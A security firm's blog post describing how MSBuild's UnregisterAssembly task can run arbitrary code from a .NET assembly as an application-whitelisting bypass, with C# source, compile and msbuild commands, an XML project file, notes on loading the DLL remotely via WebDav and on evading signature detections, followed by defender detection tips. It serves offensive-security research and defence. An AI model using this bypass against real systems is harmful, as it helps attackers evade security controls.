Another MSBuild Invocation

By Red Siege | February 24, 2020

TL;DR: Use MSBuild’s UnregisterAssembly task to execute arbitrary code in a .NET assembly.

A few weeks ago, Casey Smith (@SubTee) tweeted this out:

Followed by this:

Casey shared that instead of using the default “CreateInstance” function to execute a serialized .NET assembly via DotNetToJScript, we could use the UnregisterFunction from the System.Runtime.InteropServices.RegistrationServices class to “Unregister” an assembly and execute arbitrary code.

Basically, we place our malicious code in a ComUnregisterFunction in our .NET assembly and call UnregisterAssembly to execute it.


This tactic reminds me of the InstallUtil application whitelisting bypass where we call InstallUtil.exe with the uninstall flag (/u) and point it to a .NET assembly with malicious code located in an Uninstall function.

Anyway, this is an awesome technique and an easy way to alter the default output from tools like DotNetToJScript. But let’s get back to MSBuild.

After investigating the Interop Registration Services class a bit more, I stumbled upon MSBuild’s “Unregister Assembly” documentation on MSDN. Specifically, I landed on this page:


Based on Microsoft’s documentation, it looks like we can call MSBuild to unregister an assembly. When we execute an UnregisterAssembly task using MSBuild, it searches our .NET assembly for a ComUnregisterFunction (just like @SubTee’s example above) and executes the code in that function.

I copied down the default XML code provided on MSDN for the UnregisterAssembly task and modified the assembly path to point to a locally hosted dll that opens the calculator app.

Sure enough, when you call MSbuild.exe with an UnregisterAssembly task in an XML file, it will execute whatever code you include in the ComUnregisterFunction in the referenced DLL.

Here’s a quick video of the bypass in action:


To summarize, here are the steps to get this bypass to work:

  1. Create a C# file and place your payload into a [ComUnregisterFunction]. You do that like this:
using System;using System.Diagnostics;using System.Runtime.InteropServices;[ComVisible(true)]public class Sample{    //Any function name works    [ComUnregisterFunction]     public static void Unregister(string str)    {	//Arbitrary code inserted here        Process.Start("calc");     }}

2. Compile your code into a .NET assembly.

csc.exe /target:library unregister.cs

3. Modify the XML file from MSDN so that the OutputPath value is equal to the folder where your DLL lives and the FileName is the name of your DLL.

<Project xmlns="">    <PropertyGroup>        <OutputPath>C:\Users\ponce\Desktop</OutputPath>        <FileName>\unregister.dll</FileName>    </PropertyGroup>    <Target Name="UnregisterAssemblies">        <UnregisterAssembly            Condition="Exists('$(OutputPath)$(FileName)')"            Assemblies="$(OutputPath)$(FileName)" />    </Target></Project>

4. Run msbuild.exe and provide it the path to this xml file.

msbuild.exe unregister.xml

After discovering this bypass, we shared our findings with Casey and he recommended looking for a way to host the assembly remotely. Sure enough, it’s possible.

After a bit of trial and error, I discovered that hosting the .NET assembly on a WebDav server yields the same results as if you were hosting it locally. Here’s a quick video demonstrating code execution via a remotely hosted DLL on a WebDav server:

Not sure how to deploy a WebDav server? I wasn’t until I needed it for this. Checkout BlackHill’s article:

*One thing to note: when you’re updating the FileName for the .NET Assembly hosted on the WebDav server, the name MUST be proceeded by a “\”. That was discovered after lots of frustration.

So, why is this bypass useful?

  1. The word “Task” is no where to be found in the XML file. The other two flavors of MSBuild bypasses that our team uses (inline tasks and custom tasks) require the creation of a “Task” within the XML file. This approach would bypass any detections based on signatures of those two methods.
  2. You can separate your payload (including remotely hosting it) from the XML file that you’re passing to MSBuild.
  3. The XML file looks nearly identical to the default xml file provided by Microsoft.
  4. This is an alternative to the commonly used inline-tasks msbuild bypass.

What are the limitations?

  • If you don’t want to host the .NET assembly remotely, then you’ll need to drop it to disk.
  • This will not work if DeviceGuard is enabled and blocking the loading of unsigned .NET assemblies.

How can defenders detect this?

  1. Look for XML files called by MSBuild that include the “UnregisterAssembly” tag.
  2. Be suspicious of MSBuild tasks grabbing remote .NET assemblies.
  3. Search suspicious .NET assemblies for [ComUnregisterFunction] and review the code in that function.

Generally, we recommend protecting your environment against this bypass and many other similar tactics by using Device Guard (WDAC).

Written By: Joe Leon

Using Microsoft Dev Tunnels for C2 Redirection

By Red Siege | April 9, 2024

by Justin Palk, Senior Security Consultant   As penetration testers, we’re always on the lookout for new ways to get our command-and-control (C2) traffic out of a client’s network, evading […]

Learn More
Using Microsoft Dev Tunnels for C2 Redirection

SSHishing – Abusing Shortcut Files and the Windows SSH Client for Initial Access

By Red Siege | April 1, 2024

By: Alex Reid, Current Red Siege Intern   In the April 2018 release of Windows 10 version 1803, Microsoft announced that the Windows OpenSSH client would ship and be enabled […]

Learn More
SSHishing – Abusing Shortcut Files and the Windows SSH Client for Initial Access

Navigating Active Directory Security with EDD

By Red Siege | March 21, 2024

Tool developed by: Chris Truncer   Leverage EDD for Advanced Offensive Strategies EDD serves as a critical tool for offensive security professionals, enhancing domain reconnaissance with .NET efficiency. It facilitates a […]

Learn More
Navigating Active Directory Security with EDD

Find Out What’s Next

Stay in the loop with our upcoming events.